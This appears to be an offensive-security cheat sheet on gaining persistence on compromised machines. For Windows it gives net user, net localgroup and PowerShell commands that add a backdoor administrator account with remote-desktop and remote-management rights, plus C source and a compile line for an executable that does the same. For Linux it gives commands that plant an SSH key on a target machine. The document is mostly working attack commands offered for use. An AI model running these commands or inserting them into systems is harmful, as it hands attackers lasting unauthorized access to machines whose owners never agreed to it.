Persistence

Allows attackers to maintain unauthorized access to a system.

Windows

New User

net user testuser Password123! /add
net localgroup "Administrators" testuser /add
net localgroup "Remote Desktop Users" testuser /add
net localgroup "Remote Management Users" testuser /add

net user testuser Password123! /add
Add-LocalGroupMember -Group "Administrators","Remote Desktop Users","Remote Management Users" -Member "testuser"

exe

adduser.exe

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user testuser Password123! /add");
  i = system ("net localgroup Administrators testuser /add");
  i = system ("net localgroup \"Remote Desktop Users\" testuser /add");
  i = system ("net localgroup \"Remote Management Users\" testuser /add");
  
  return 0;
}

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Linux

SSH Key

ssh-keygen
# Move the public key  in ~/.ssh/authorized_keys target machine.

ssh-keygen -f ~/.ssh/id_rsa -N ""
ssh-copy-id -i ~/.ssh/id_rsa.pub <USER>@<IP>